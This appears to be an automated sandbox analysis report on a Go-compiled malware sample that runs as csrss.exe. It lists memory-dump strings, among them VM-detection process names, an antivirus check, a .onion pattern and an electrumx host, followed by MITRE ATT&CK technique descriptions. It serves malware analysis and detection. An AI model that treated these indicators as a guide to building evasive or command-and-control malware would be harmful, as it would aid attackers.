runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
", xrefs: 00428CF9
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95

Memory Dump Source

Source File: 0000000B.00000002.573428133.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.575972203.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576037402.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576288874.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576310432.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576374930.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576391697.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576406685.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576418611.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction ID: 42ee82367b21563e109480012d6fe3560eb94324b5bc2d8460cea0574e50dfb9
Opcode Fuzzy Hash: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction Fuzzy Hash: E851F5B46097158FD340EF65D18575EBBE0BF88708F818A2EF48887352DB389948DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778

Memory Dump Source

Source File: 0000000B.00000002.573428133.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.575972203.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576037402.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576288874.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576310432.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576374930.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576391697.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576406685.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.576418611.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction ID: 8241637a7f35ac624855d2df19fea6a5ed42779f520a2a5d8b1c8658a748f46b
Opcode Fuzzy Hash: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction Fuzzy Hash: 4551C7B4608705CFD344EF65D18575EBBE0BF88308F41886EE48887312D7799885CF9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exe PID: 2060 Parent PID: 3352 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
", xrefs: 00428CF9
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50

Memory Dump Source

Source File: 00000012.00000002.413315697.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.415568721.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.419794175.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424167235.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424174802.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424224772.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424232525.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424239060.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424250991.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction ID: 42ee82367b21563e109480012d6fe3560eb94324b5bc2d8460cea0574e50dfb9
Opcode Fuzzy Hash: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction Fuzzy Hash: E851F5B46097158FD340EF65D18575EBBE0BF88708F818A2EF48887352DB389948DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4

Memory Dump Source

Source File: 00000012.00000002.413315697.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.415568721.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.419794175.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424167235.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424174802.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424224772.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424232525.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424239060.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.424250991.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction ID: 8241637a7f35ac624855d2df19fea6a5ed42779f520a2a5d8b1c8658a748f46b
Opcode Fuzzy Hash: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction Fuzzy Hash: 4551C7B4608705CFD344EF65D18575EBBE0BF88308F41886EE48887312D7799885CF9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exe PID: 5892 Parent PID: 664 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

", xrefs: 00428CF9
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0

Memory Dump Source

Source File: 00000013.00000002.427738761.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.443460561.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.443824414.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445269770.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445279441.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445326423.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445335324.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445342513.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445349507.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction ID: 42ee82367b21563e109480012d6fe3560eb94324b5bc2d8460cea0574e50dfb9
Opcode Fuzzy Hash: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction Fuzzy Hash: E851F5B46097158FD340EF65D18575EBBE0BF88708F818A2EF48887352DB389948DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756

Memory Dump Source

Source File: 00000013.00000002.427738761.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.443460561.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.443824414.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445269770.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445279441.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445326423.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445335324.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445342513.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000013.00000002.445349507.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction ID: 8241637a7f35ac624855d2df19fea6a5ed42779f520a2a5d8b1c8658a748f46b
Opcode Fuzzy Hash: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction Fuzzy Hash: 4551C7B4608705CFD344EF65D18575EBBE0BF88308F41886EE48887312D7799885CF9A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
